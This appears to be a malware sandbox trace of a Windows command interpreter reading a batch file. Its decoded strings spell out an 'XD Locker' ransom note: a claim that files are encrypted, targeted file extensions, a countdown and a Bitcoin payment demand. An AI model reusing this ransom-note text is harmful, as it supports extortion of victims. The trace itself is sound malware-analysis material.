lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ## ##\r\n ##\r\n") returned 57 [0037.444] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.444] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1702 [0037.444] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.444] GetFileType (hFile=0x74) returned 0x1 [0037.444] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1702 [0037.445] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.445] SetFilePointer (in: hFile=0x74, lDistanceToMove=5946, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x173a [0037.445] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=56, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ####\r\n\n") returned 56 [0037.445] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.445] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x173a [0037.445] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.445] GetFileType (hFile=0x74) returned 0x1 [0037.445] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x173a [0037.445] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.445] SetFilePointer (in: hFile=0x74, lDistanceToMove=5988, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1764 [0037.445] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=42, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted\r\n ####\r\n") returned 42 [0037.445] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.445] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1764 [0037.445] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.445] GetFileType (hFile=0x74) returned 0x1 [0037.445] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1764 [0037.445] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.445] SetFilePointer (in: hFile=0x74, lDistanceToMove=6013, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x177d [0037.445] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo The encrypted file\r\n been encrypted\r\n") returned 25 [0037.445] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.445] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x177d [0037.445] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.446] GetFileType (hFile=0x74) returned 0x1 [0037.446] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x177d [0037.446] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.446] SetFilePointer (in: hFile=0x74, lDistanceToMove=6049, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x17a1 [0037.446] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=36, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo .zip .rar .gif .ink .txt .pdf\r\npted\r\n") returned 36 [0037.446] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.446] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x17a1 [0037.446] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.446] GetFileType (hFile=0x74) returned 0x1 [0037.446] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x17a1 [0037.446] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.446] SetFilePointer (in: hFile=0x74, lDistanceToMove=6086, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x17c6 [0037.446] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=37, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo .vbs .doc .mp4 .mp3 .wav .docx\r\nted\r\n") returned 37 [0037.446] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.446] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x17c6 [0037.447] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.447] GetFileType (hFile=0x74) returned 0x1 [0037.447] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x17c6 [0037.447] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.447] SetFilePointer (in: hFile=0x74, lDistanceToMove=6118, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x17e6 [0037.447] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=32, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo .jpg .png .htm .url .html\r\nocx\r\n") returned 32 [0037.447] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.447] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x17e6 [0037.447] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.447] GetFileType (hFile=0x74) returned 0x1 [0037.447] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x17e6 [0037.447] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.447] SetFilePointer (in: hFile=0x74, lDistanceToMove=6153, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1809 [0037.447] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=35, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ++++++++++++++++++++++++++++\r\n\r\n") returned 35 [0037.447] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.447] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1809 [0037.447] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.447] GetFileType (hFile=0x74) returned 0x1 [0037.447] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1809 [0037.447] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.447] SetFilePointer (in: hFile=0x74, lDistanceToMove=6188, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x182c [0037.447] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=35, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo +XD Locker encrypt file XD +\r\n") returned 35 [0037.448] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.448] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x182c [0037.448] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.448] GetFileType (hFile=0x74) returned 0x1 [0037.448] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x182c [0037.448] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.448] SetFilePointer (in: hFile=0x74, lDistanceToMove=6223, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x184f [0037.448] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=35, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ++++++++++++++++++++++++++++\r\n") returned 35 [0037.448] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.448] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x184f [0037.448] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.448] GetFileType (hFile=0x74) returned 0x1 [0037.448] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x184f [0037.448] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.448] SetFilePointer (in: hFile=0x74, lDistanceToMove=6258, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1872 [0037.448] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=35, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo +===========time===========+\r\n") returned 35 [0037.448] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.448] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1872 [0037.448] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.448] GetFileType (hFile=0x74) returned 0x1 [0037.448] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1872 [0037.448] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.448] SetFilePointer (in: hFile=0x74, lDistanceToMove=6293, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1895 [0037.449] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=35, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo + 90 +\r\n") returned 35 [0037.449] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.449] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1895 [0037.449] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.449] GetFileType (hFile=0x74) returned 0x1 [0037.449] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1895 [0037.449] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.449] SetFilePointer (in: hFile=0x74, lDistanceToMove=6328, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x18b8 [0037.449] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=35, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ++++++++++++++++++++++++++++\r\n") returned 35 [0037.449] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.449] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x18b8 [0037.449] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.449] GetFileType (hFile=0x74) returned 0x1 [0037.449] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x18b8 [0037.449] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.449] SetFilePointer (in: hFile=0x74, lDistanceToMove=6387, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x18f3 [0037.449] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Send $ 0.9 Bitcoin worth of Bitcoin to this address:\r\n#\r\n") returned 59 [0037.449] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.449] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x18f3 [0037.449] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.449] GetFileType (hFile=0x74) returned 0x1 [0037.449] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x18f3 [0037.449] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.450] SetFilePointer (in: hFile=0x74, lDistanceToMove=6389, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x18f5 [0037.450] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nho Send $ 0.9 Bitcoin worth of Bitcoin to this address:\r\n") returned 2 [0037.450] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.450] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x18f5 [0037.450] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.450] GetFileType (hFile=0x74) returned 0x1 [0037.450] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x18f5 [0037.450] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.450] SetFilePointer (in: hFile=0x74, lDistanceToMove=6423, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1917 [0037.450] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=34, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ur183IenOeJVZX5OeBMewJn55Lo\r\nitcoin to this address:\r\n") returned 34 [0037.450] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.450] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1917 [0037.450] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.450] GetFileType (hFile=0x74) returned 0x1 [0037.450] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1917 [0037.450] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.450] SetFilePointer (in: hFile=0x74, lDistanceToMove=6430, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x191e [0037.450] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=7, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="pause\r\n183IenOeJVZX5OeBMewJn55Lo\r\n") returned 7 [0037.450] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.450] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x191e [0037.450] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.450] GetFileType (hFile=0x74) returned 0x1 [0037.450] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x191e [0037.451] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.451] SetFilePointer (in: hFile=0x74, lDistanceToMove=6434, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1922 [0037.451] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=4, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":a\r\ne\r\n") returned 4 [0037.451] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.451] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1922 [0037.451] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.451] GetFileType (hFile=0x74) returned 0x1 [0037.451] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1922 [0037.451] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.451] SetFilePointer (in: hFile=0x74, lDistanceToMove=6501, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1965 [0037.451] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=67, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ## ## #### ## #### ## ## #### ## ##\r\n\n") returned 67 [0037.451] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.451] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1965 [0037.451] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.451] GetFileType (hFile=0x74) returned 0x1 [0037.451] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1965 [0037.451] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.451] SetFilePointer (in: hFile=0x74, lDistanceToMove=6569, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x19a9 [0037.451] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=68, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ## ## ## ### ## ## ## ## ## ## ## ## ####\r\n") returned 68 [0037.451] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.451] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x19a9 [0037.451] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.451] GetFileType (hFile=0x74) returned 0x1 [0037.451] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x19a9 [0037.452] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.452] SetFilePointer (in: hFile=0x74, lDistanceToMove=6637, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x19ed [0037.452] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=68, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ### ## ### ## ## ## #### ## ## ## ## #\r\n") returned 68 [0037.452] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.452] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x19ed [0037.452] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.452] GetFileType (hFile=0x74) returned 0x1 [0037.452] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x19ed [0037.452] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.452] SetFilePointer (in: hFile=0x74, lDistanceToMove=6701, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1a2d [0037.452] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=64, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ### ## ## ## ## ## #### ####### ####\r\n #\r\n") returned 64 [0037.452] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.452] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1a2d [0037.452] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.452] GetFileType (hFile=0x74) returned 0x1 [0037.452] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1a2d [0037.452] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.452] SetFilePointer (in: hFile=0x74, lDistanceToMove=6764, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1a6c [0037.452] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=63, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ## ## ## ### ####### ## ## ## ## ## ###\r\n\n") returned 63 [0037.452] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.452] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1a6c [0037.452] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.453] GetFileType (hFile=0x74) returned 0x1 [0037.453] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1a6c [0037.453] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.453] SetFilePointer (in: hFile=0x74, lDistanceToMove=6826, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: 